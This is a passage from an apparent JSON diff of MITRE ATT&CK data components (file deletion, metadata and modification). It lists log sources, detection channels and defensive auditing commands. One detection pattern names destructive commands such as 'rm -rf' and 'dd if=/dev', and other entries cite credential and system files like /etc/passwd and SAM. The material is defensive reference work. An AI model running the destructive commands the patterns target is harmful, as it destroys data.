\"esxi:hostd\", \"channel\": \"delete action\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"unlink, unlinkat, openat, write\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec rm -rf|dd if=/dev|srm|file unlink\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"unlink, unlinkat, rmdir\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"unlink, rename, open\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"EventCode=23\"}, {\"name\": \"fs:fsusage\", \"channel\": \"unlink, fs_delete\"}, {\"name\": \"docker:daemon\", \"channel\": \"container file operations\"}, {\"name\": \"esxi:hostd\", \"channel\": \"rm, clearlogs, logrotate\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Datastore file operations\"}, {\"name\": \"macos:osquery\", \"channel\": \"CREATE, DELETE, WRITE: Stored data manipulation attempts by unauthorized processes\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"unlink/unlinkat\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Backup\", \"channel\": \"Windows Backup Catalog deletion or catalog corruption\"}, {\"name\": \"auditd:CONFIG_CHANGE\", \"channel\": \"/etc/fstab, /etc/systemd/*\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.450000+00:00\", \"old_value\": \"2025-04-18 15:10:21.434000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:35.397000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0059", + "external_id": "DC0059" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "File Metadata", + "description": "contextual information about a file, including attributes such as the file's name, size, type, content (e.g., signatures, headers, media), user/owner, permissions, timestamps, and other related properties. File metadata provides insights into a file's characteristics and can be used to detect malicious activity, unauthorized modifications, or other anomalies. Examples: \n\n- File Ownership and Permissions: Checking the owner and permissions of a critical configuration file like /etc/passwd on Linux or C:\\Windows\\System32\\config\\SAM on Windows.\n- Timestamps: Analyzing the creation, modification, and access timestamps of a file.\n- File Content and Signatures: Extracting the headers of an executable file to verify its signature or detect packing/obfuscation.\n- File Attributes: Analyzing attributes like hidden, system, or read-only flags in Windows.\n- File Hashes: Generating MD5, SHA-1, or SHA-256 hashes of files to compare against threat intelligence feeds.\n- File Location: Monitoring files located in unusual directories or paths, such as temporary or user folders.\n\nThis data component can be collected through the following measures:\n\nWindows\n\n- Sysinternals Tools: Use `AccessEnum` or `PSFile` to retrieve metadata about file access and permissions.\n- Windows Event Logs: Enable object access auditing and monitor events like 4663 (Object Access) and 5140 (A network share object was accessed).\n- PowerShell: Use Get-Item or Get-ChildItem cmdlets: `Get-ChildItem -Path \"C:\\Path\\To\\Directory\" -Recurse | Select-Object Name, Length, LastWriteTime, Attributes`\n\nLinux\n\n- File System Commands: Use `ls -l` or stat to retrieve file metadata: `stat /path/to/file`\n- Auditd: Configure audit rules to log metadata access: `auditctl -w /path/to/file -p wa -k file_metadata`\n- Filesystem Integrity Tools: Tools like tripwire or AIDE (Advanced Intrusion Detection Environment) can monitor file metadata changes.\n\nmacOS\n\n- FSEvents: Use FSEvents to track file metadata changes.\n- Endpoint Security Framework (ESF): Capture metadata-related events via ESF APIs.\n- Command-Line Tools: Use ls -l or xattr for file attributes: `ls -l@ /path/to/file`\n\nSIEM Integration\n\n- Forward file metadata logs from endpoint or network devices to a SIEM for centralized analysis.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "File", + "channel": "None" + }, + { + "name": "linux:osquery", + "channel": "event-based" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Invalid/Unsigned image when developer tool launches newly installed binaries" + }, + { + "name": "journald:package", + "channel": "dpkg/apt or yum/dnf transaction logs (install/update of build tools)" + }, + { + "name": "linux:osquery", + "channel": "file_events, hash" + }, + { + "name": "macos:unifiedlog", + "channel": "softwareupdated/homebrew/install logs, pkginstalld events" + }, + { + "name": "macos:unifiedlog", + "channel": "AMFI or Gatekeeper signature/notarization failures for newly installed dev components" + }, + { + "name": "auditd:SYSCALL", + "channel": "Inotify watch creation or auditctl changes on /etc/cron* or /lib/systemd/system/" + }, + { + "name": "linux:syslog", + "channel": "Discrepancies in _VBA_PROJECT p-code vs source code extracted with oletools/pcodedmp" + }, + { + "name": "macos:unifiedlog", + "channel": "Detection of altered _VBA_PROJECT or PerformanceCache streams" + }, + { + "name": "EDR:file", + "channel": "File Metadata Inspection (Low String Entropy, Missing PDB)" + }, + { + "name": "linux:osquery", + "channel": "hash, elf_info, file_metadata" + }, + { + "name": "macos:osquery", + "channel": "code_signing, file_metadata" + }, + { + "name": "WinEventLog:Windows Defender", + "channel": "Operational log" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem:syspolicyd" + }, + { + "name": "macos:unifiedlog", + "channel": "File metadata updated with UF_HIDDEN flag" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + }, + { + "name": "auditd:PATH", + "channel": "file path matches exclusion directories" + }, + { + "name": "auditd:SYSCALL", + "channel": "path" + }, + { + "name": "auditd:PATH", + "channel": "PATH" + }, + { + "name": "macos:endpointsecurity", + "channel": "es_event_file_rename_t or es_event_file_write_t" + }, + { + "name": "linux:osquery", + "channel": "file_events" + }, + { + "name": "fs:fileevents", + "channel": "/var/log/install.log" + }, + { + "name": "auditd:SYSCALL", + "channel": "file write after sleep delay" + }, + { + "name": "esxi:vmkernel", + "channel": "Upload of file to datastore" + }, + { + "name": "ebpf:syscalls", + "channel": "Unexpected container volume unmount + file deletion" + }, + { + "name": "macos:osquery", + "channel": "file_events" + }, + { + "name": "EDR:file", + "channel": "File Metadata Analysis (PE overlays, entropy)" + }, + { + "name": "linux:osquery", + "channel": "elf_info, hash, yara_matches" + }, + { + "name": "macos:osquery", + "channel": "mach_o_info, file_metadata" + }, + { + "name": "macos:unifiedlog", + "channel": "Code signature validation fails or is absent post-binary modification" + }, + { + "name": "fs:filesystem", + "channel": "Binary file hash changes outside of update/patch cycles" + }, + { + "name": "linux:osquery", + "channel": "Read headers and detect MIME type mismatch" + }, + { + "name": "macos:unifiedlog", + "channel": "Code signing verification failures or bypassed trust decisions" + }, + { + "name": "NSM:Flow", + "channel": "Observed File Transfers" + }, + { + "name": "esxi:vmkernel", + "channel": "Storage access and file ops" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of new LaunchAgent or LoginItem plist files in ~/Library/LaunchAgents/" + }, + { + "name": "auditd:CONFIG_CHANGE", + "channel": "chmod or chown of hook files indicating privilege escalation or execution permission change" + }, + { + "name": "macos:unifiedlog", + "channel": "filesystem events" + }, + { + "name": "macos:unifiedlog", + "channel": "xattr -d com.apple.quarantine or similar attribute removal commands" + }, + { + "name": "macos:unifiedlog", + "channel": "Gatekeeper quarantine policy decision anomalies recorded in com.apple.LaunchServices.QuarantineEventsV2" + }, + { + "name": "linux:syslog", + "channel": "application or system execution logs" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4670" + }, + { + "name": "auditd:SYSCALL", + "channel": "syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, setxattr, lsetxattr, fsetxattr)" + }, + { + "name": "linux:syslog", + "channel": "file permission modification events in kernel messages" + }, + { + "name": "fs:fsevents", + "channel": "file system events indicating permission or attribute changes" + }, + { + "name": "OpenBSM:AuditTrail", + "channel": "BSM audit events for file permission modifications" + }, + { + "name": "esxi:hostd", + "channel": "host daemon events related to file or VM permission changes" + }, + { + "name": "esxi:vmkernel", + "channel": "VMware kernel events for file system permission modifications" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Unsigned or invalid image for newly installed/updated binaries" + }, + { + "name": "journald:package", + "channel": "dpkg/apt/yum/dnf transaction logs; vendor updaters in systemd journals" + }, + { + "name": "macos:unifiedlog", + "channel": "pkginstalld/softwareupdated/Homebrew install transactions" + }, + { + "name": "macos:unifiedlog", + "channel": "AMFI/Gatekeeper code signature or notarization failures" + }, + { + "name": "EDR:detection", + "channel": "App reputation telemetry" + }, + { + "name": "gatekeeper/quarantine database", + "channel": "LaunchServices quarantine" + }, + { + "name": "linux:osquery", + "channel": "file_events.path" + }, + { + "name": "auditd:SYSCALL", + "channel": "setuid or setgid bit changes" + }, + { + "name": "linux:osquery", + "channel": "Filesystem modifications to trusted paths" + }, + { + "name": "fs:fsusage", + "channel": "filesystem monitoring of exec/open" + }, + { + "name": "auditd:SYSCALL", + "channel": "syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, lchown, setxattr, lsetxattr, fsetxattr, removexattr, lremovexattr, fremovexattr)" + }, + { + "name": "auditd:PATH", + "channel": "file path modifications on critical system directories (/etc, /usr/bin, /usr/sbin, /var, /opt)" + }, + { + "name": "linux:syslog", + "channel": "kernel messages related to file system permission changes and security violations" + }, + { + "name": "OpenBSM:AuditTrail", + "channel": "BSM audit events for file permission, ownership, and attribute modifications with user context" + }, + { + "name": "macos:unifiedlog", + "channel": "kernel extension and system extension logs related to file system security violations or SIP bypass attempts" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Code integrity violations in boot-start drivers or firmware" + }, + { + "name": "fwupd:logs", + "channel": "Firmware updates applied or failed" + }, + { + "name": "macos:endpointsecurity", + "channel": "es_event_authentication" + }, + { + "name": "esxi:vmkernel", + "channel": "Datastore modification events" + }, + { + "name": "linux:osquery", + "channel": "Write or modify .desktop file in XDG autostart path" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected application binary modifications or altered signing status" + }, + { + "name": "auditd:SYSCALL", + "channel": "setxattr or getxattr system call" + }, + { + "name": "macos:unifiedlog", + "channel": "extended attribute write or modification" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4663, 4656, 4658" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "name": "auditd:SYSCALL", + "channel": "chmod, chown, setxattr, or file writes to /etc/ssl/* or /usr/local/share/ca-certificates/*" + }, + { + "name": "macos:unifiedlog", + "channel": "New certificate trust settings added by unexpected process" + }, + { + "name": "esxi:syslog", + "channel": "Datastore file hidden or renamed unexpectedly" + }, + { + "name": "WinEventLog:Windows Defender", + "channel": "Operational" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.lsd" + }, + { + "name": "saas:RepoEvents", + "channel": "New file added or modified in PR targeting CI/CD or build config (e.g., `gitlab-ci.yml`, `build.gradle`, `pom.xml`, `.github/workflows/*.yml`)" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "CodeIntegrity reports 'Invalid image hash' or 'Unsigned image' for new/updated binaries" + }, + { + "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational", + "channel": "SmartScreen or ASR blocks on newly downloaded installer/updater" + }, + { + "name": "WinEventLog:Setup", + "channel": "MSI/Product install, repair or update events" + }, + { + "name": "journald:package", + "channel": "dpkg/apt install, remove, upgrade events" + }, + { + "name": "journald:package", + "channel": "yum/dnf install or update transactions" + }, + { + "name": "linux:osquery", + "channel": "hash, rpm_packages, deb_packages, file_events" + }, + { + "name": "macos:unifiedlog", + "channel": "installer or system_installd 'PackageKit: install succeeded/failed' with non-notarized or unknown signer" + }, + { + "name": "macos:unifiedlog", + "channel": "Gatekeeper/AMFI 'code signature invalid' / 'not notarized' messages" + }, + { + "name": "networkdevice:syslog", + "channel": "OS version query results inconsistent with expected or approved version list" + }, + { + "name": "macos:unifiedlog", + "channel": "File creation or modification with com.apple.ResourceFork extended attribute" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15 " + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0059\", \"external_id\": \"DC0059\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"File\", \"channel\": \"None\"}, {\"name\": \"linux:osquery\", \"channel\": \"event-based\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"Invalid/Unsigned image when developer tool launches newly installed binaries\"}, {\"name\": \"journald:package\", \"channel\": \"dpkg/apt or yum/dnf transaction logs (install/update of build tools)\"}, {\"name\": \"linux:osquery\", \"channel\": \"file_events, hash\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"softwareupdated/homebrew/install logs, pkginstalld events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"AMFI or Gatekeeper signature/notarization failures for newly installed dev components\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Inotify watch creation or auditctl changes on /etc/cron* or /lib/systemd/system/\"}, {\"name\": \"linux:syslog\", \"channel\": \"Discrepancies in _VBA_PROJECT p-code vs source code extracted with oletools/pcodedmp\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Detection of altered _VBA_PROJECT or PerformanceCache streams\"}, {\"name\": \"EDR:file\", \"channel\": \"File Metadata Inspection (Low String Entropy, Missing PDB)\"}, {\"name\": \"linux:osquery\", \"channel\": \"hash, elf_info, file_metadata\"}, {\"name\": \"macos:osquery\", \"channel\": \"code_signing, file_metadata\"}, {\"name\": \"WinEventLog:Windows Defender\", \"channel\": \"Operational log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem:syspolicyd\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File metadata updated with UF_HIDDEN flag\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=15\"}, {\"name\": \"auditd:PATH\", \"channel\": \"file path matches exclusion directories\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"path\"}, {\"name\": \"auditd:PATH\", \"channel\": \"PATH\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"es_event_file_rename_t or es_event_file_write_t\"}, {\"name\": \"linux:osquery\", \"channel\": \"file_events\"}, {\"name\": \"fs:fileevents\", \"channel\": \"/var/log/install.log\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"file write after sleep delay\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Upload of file to datastore\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"Unexpected container volume unmount + file deletion\"}, {\"name\": \"macos:osquery\", \"channel\": \"file_events\"}, {\"name\": \"EDR:file\", \"channel\": \"File Metadata Analysis (PE overlays, entropy)\"}, {\"name\": \"linux:osquery\", \"channel\": \"elf_info, hash, yara_matches\"}, {\"name\": \"macos:osquery\", \"channel\": \"mach_o_info, file_metadata\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Code signature validation fails or is absent post-binary modification\"}, {\"name\": \"fs:filesystem\", \"channel\": \"Binary file hash changes outside of update/patch cycles\"}, {\"name\": \"linux:osquery\", \"channel\": \"Read headers and detect MIME type mismatch\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Code signing verification failures or bypassed trust decisions\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Observed File Transfers\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Storage access and file ops\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of new LaunchAgent or LoginItem plist files in ~/Library/LaunchAgents/\"}, {\"name\": \"auditd:CONFIG_CHANGE\", \"channel\": \"chmod or chown of hook files indicating privilege escalation or execution permission change\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"filesystem events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"xattr -d com.apple.quarantine or similar attribute removal commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Gatekeeper quarantine policy decision anomalies recorded in com.apple.LaunchServices.QuarantineEventsV2\"}, {\"name\": \"linux:syslog\", \"channel\": \"application or system execution logs\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4670\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, setxattr, lsetxattr, fsetxattr)\"}, {\"name\": \"linux:syslog\", \"channel\": \"file permission modification events in kernel messages\"}, {\"name\": \"fs:fsevents\", \"channel\": \"file system events indicating permission or attribute changes\"}, {\"name\": \"OpenBSM:AuditTrail\", \"channel\": \"BSM audit events for file permission modifications\"}, {\"name\": \"esxi:hostd\", \"channel\": \"host daemon events related to file or VM permission changes\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"VMware kernel events for file system permission modifications\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"Unsigned or invalid image for newly installed/updated binaries\"}, {\"name\": \"journald:package\", \"channel\": \"dpkg/apt/yum/dnf transaction logs; vendor updaters in systemd journals\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"pkginstalld/softwareupdated/Homebrew install transactions\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"AMFI/Gatekeeper code signature or notarization failures\"}, {\"name\": \"EDR:detection\", \"channel\": \"App reputation telemetry\"}, {\"name\": \"gatekeeper/quarantine database\", \"channel\": \"LaunchServices quarantine\"}, {\"name\": \"linux:osquery\", \"channel\": \"file_events.path\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"setuid or setgid bit changes\"}, {\"name\": \"linux:osquery\", \"channel\": \"Filesystem modifications to trusted paths\"}, {\"name\": \"fs:fsusage\", \"channel\": \"filesystem monitoring of exec/open\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, lchown, setxattr, lsetxattr, fsetxattr, removexattr, lremovexattr, fremovexattr)\"}, {\"name\": \"auditd:PATH\", \"channel\": \"file path modifications on critical system directories (/etc, /usr/bin, /usr/sbin, /var, /opt)\"}, {\"name\": \"linux:syslog\", \"channel\": \"kernel messages related to file system permission changes and security violations\"}, {\"name\": \"OpenBSM:AuditTrail\", \"channel\": \"BSM audit events for file permission, ownership, and attribute modifications with user context\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"kernel extension and system extension logs related to file system security violations or SIP bypass attempts\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"Code integrity violations in boot-start drivers or firmware\"}, {\"name\": \"fwupd:logs\", \"channel\": \"Firmware updates applied or failed\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"es_event_authentication\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Datastore modification events\"}, {\"name\": \"linux:osquery\", \"channel\": \"Write or modify .desktop file in XDG autostart path\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected application binary modifications or altered signing status\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"setxattr or getxattr system call\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"extended attribute write or modification\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4663, 4656, 4658\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4663\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"chmod, chown, setxattr, or file writes to /etc/ssl/* or /usr/local/share/ca-certificates/*\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"New certificate trust settings added by unexpected process\"}, {\"name\": \"esxi:syslog\", \"channel\": \"Datastore file hidden or renamed unexpectedly\"}, {\"name\": \"WinEventLog:Windows Defender\", \"channel\": \"Operational\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.lsd\"}, {\"name\": \"saas:RepoEvents\", \"channel\": \"New file added or modified in PR targeting CI/CD or build config (e.g., `gitlab-ci.yml`, `build.gradle`, `pom.xml`, `.github/workflows/*.yml`)\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"CodeIntegrity reports 'Invalid image hash' or 'Unsigned image' for new/updated binaries\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Windows Defender/Operational\", \"channel\": \"SmartScreen or ASR blocks on newly downloaded installer/updater\"}, {\"name\": \"WinEventLog:Setup\", \"channel\": \"MSI/Product install, repair or update events\"}, {\"name\": \"journald:package\", \"channel\": \"dpkg/apt install, remove, upgrade events\"}, {\"name\": \"journald:package\", \"channel\": \"yum/dnf install or update transactions\"}, {\"name\": \"linux:osquery\", \"channel\": \"hash, rpm_packages, deb_packages, file_events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"installer or system_installd 'PackageKit: install succeeded/failed' with non-notarized or unknown signer\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Gatekeeper/AMFI 'code signature invalid' / 'not notarized' messages\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"OS version query results inconsistent with expected or approved version list\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File creation or modification with com.apple.ResourceFork extended attribute\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=15 \"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.397000+00:00\", \"old_value\": \"2025-04-18 15:10:14.725000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:35.239000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0061", + "external_id": "DC0061" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "File Modification", + "description": "Changes made to a file, including updates to its contents, metadata, access permissions, or attributes. These modifications may indicate legitimate activity (e.g., software updates) or unauthorized changes (e.g., tampering, ransomware, or adversarial modifications). Examples: \n\n- Content Modifications: Changes to the content of a configuration file, such as modifying `/etc/ssh/sshd_config` on Linux or `C:\\Windows\\System32\\drivers\\etc\\hosts` on Windows.\n- Permission Changes: Altering file permissions to allow broader access, such as changing a file from `644` to `777` on Linux or modifying NTFS permissions on Windows.\n- Attribute Modifications: Changing a file's attributes to hidden, read-only, or system on Windows.\n- Timestamp Manipulation: Adjusting a file's creation or modification timestamp using tools like `touch` in Linux or timestomping tools on Windows.\n- Software or System File Changes: Modifying system files such as `boot.ini`, kernel modules, or application binaries.\n\nThis data component can be collected through the following measures:\n\nWindows\n\n- Event Logs: Enable file system auditing to monitor file modifications using Security Event ID 4670 (File System Audit) or Sysmon Event ID 2 (File creation time changed).\n- PowerShell: Use Get-ItemProperty or Get-Acl cmdlets to monitor file properties: `Get-Item -Path \"C:\\path\\to\\file\" | Select-Object Name, Attributes, LastWriteTime`\n\nLinux\n\n- File System Monitoring: Use tools like auditd with rules to monitor file modifications: `auditctl -w /path/to/file -p wa -k file_modification`\n- Inotify: Use inotifywait to watch for real-time changes to files or directories: `inotifywait -m /path/to/file`\n\nmacOS\n\n- Endpoint Security Framework (ESF): Monitor file modification events using ESF APIs.\n- Audit Framework: Configure audit rules to track file changes.\n- Command-Line Tools: Use fs_usage to monitor file activities: `fs_usage -w /path/to/file`\n\nSIEM Tools\n\n- Collect logs from endpoint agents (e.g., Sysmon, Auditd) and file servers to centralize file modification event data.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "File", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write calls modifying ~/.bashrc, ~/.profile, or /etc/paths.d" + }, + { + "name": "macos:unifiedlog", + "channel": "File modification in /etc/paths.d or user shell rc files" + }, + { + "name": "fs:fileevents", + "channel": "/var/log/quarantine.log" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of ~/Library/LaunchAgents or /Library/LaunchDaemons plist" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, write" + }, + { + "name": "auditd:SYSCALL", + "channel": "AUDIT_SYSCALL (open, write, rename, unlink)" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_WRITE, targeting .zshrc, .zlogin, .zprofile" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "name": "fs:fileevents", + "channel": "/var/log/install.log" + }, + { + "name": "auditd:SYSCALL", + "channel": "PATH" + }, + { + "name": "macos:osquery", + "channel": "file_events" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=2" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve call for modification of /etc/sudoers or writing to /var/db/sudo" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, write: File modifications under /etc/ssl/certs, /usr/local/share/ca-certificates, or /etc/pki/ca-trust/source/anchors" + }, + { + "name": "macos:osquery", + "channel": "query: Enumeration of root certificates showing unexpected additions" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, unlink, rename: Suspicious file access, deletion, or modification of sensitive paths" + }, + { + "name": "macos:unifiedlog", + "channel": "Anomalous plist modifications or sensitive file overwrites by non-standard processes" + }, + { + "name": "auditd:FILE", + "channel": "Modification or deletion of /etc/audit/audit.rules or /etc/audit/audit.conf" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write of .service unit files" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write/unlink" + }, + { + "name": "macos:unifiedlog", + "channel": "loginwindow or desktopservices modified settings or files" + }, + { + "name": "ESXiLogs:messages", + "channel": "changes to /etc/motd or /etc/vmware/welcome" + }, + { + "name": "auditd:SYSCALL", + "channel": "write, rename" + }, + { + "name": "containerd:runtime", + "channel": "file change monitoring within /etc/cron.*, /tmp, or mounted volumes" + }, + { + "name": "esxi:cron", + "channel": "manual edits to /etc/rc.local.d/local.sh or cron.d" + }, + { + "name": "auditd:PATH", + "channel": "/etc/passwd or /etc/group file write" + }, + { + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "name": "macos:unifiedlog", + "channel": "SecurityAgentPlugins modification" + }, + { + "name": "macos:unifiedlog", + "channel": "write: File modifications to *.plist within LaunchAgents, LaunchDaemons, Application Support, or Preferences directories" + }, + { + "name": "linux:osquery", + "channel": "file_events" + }, + { + "name": "esxi:hostd", + "channel": "boot" + }, + { + "name": "networkdevice:syslog", + "channel": "config" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of backgrounditems.btm or creation of LoginItems subdirectory in .app bundle" + }, + { + "name": "fs:filesystem", + "channel": "Modification or creation of files matching 'com.apple.loginwindow.*.plist' in ~/Library/Preferences/ByHost" + }, + { + "name": "auditd:SYSCALL", + "channel": "write | PATH=/home/*/.ssh/authorized_keys" + }, + { + "name": "macos:auth", + "channel": "~/.ssh/authorized_keys" + }, + { + "name": "gcp:audit", + "channel": "compute.instances.setMetadata" + }, + { + "name": "azure:resource", + "channel": "PATCH vm/authorized_keys" + }, + { + "name": "esxi:shell", + "channel": "file write or edit" + }, + { + "name": "linux:syslog", + "channel": "rename" + }, + { + "name": "ebpf:syscalls", + "channel": "file_write" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of plist with apple.awt.UIElement set to TRUE" + }, + { + "name": "fs:fsusage", + "channel": "unlink, write" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, write: Write operations targeting /dev/sda, /dev/nvme0n1, or EFI partition mounts" + }, + { + "name": "auditd:PATH", + "channel": "write: Modification of /boot/grub/*, /boot/efi/EFI/*, or initramfs images" + }, + { + "name": "networkdevice:config", + "channel": "config-change: timezone or ntp server configuration change after a time query command" + }, + { + "name": "macos:unifiedlog", + "channel": "replace existing dylibs" + }, + { + "name": "networkdevice:config", + "channel": "Configuration changes to boot variables, startup image paths, or checksum verification failures" + }, + { + "name": "firmware:update", + "channel": "Unexpected or unscheduled firmware updates, image overwrites, or failed signature validation" + }, + { + "name": "IntegrityCheck:ImageValidation", + "channel": "Checksum or hash mismatch between running image and known-good vendor-provided image" + }, + { + "name": "macos:osquery", + "channel": "File modifications in ~/Library/Preferences/" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write to /etc/pam.d/*" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of /Library/Security/SecurityAgentPlugins" + }, + { + "name": "macos:unifiedlog", + "channel": "Modifications to Mail.app plist files controlling message rules" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4656,4663" + }, + { + "name": "auditd:SYSCALL", + "channel": "write: Modification of structured stored data by suspicious processes" + }, + { + "name": "linux:syslog", + "channel": "Unexpected log 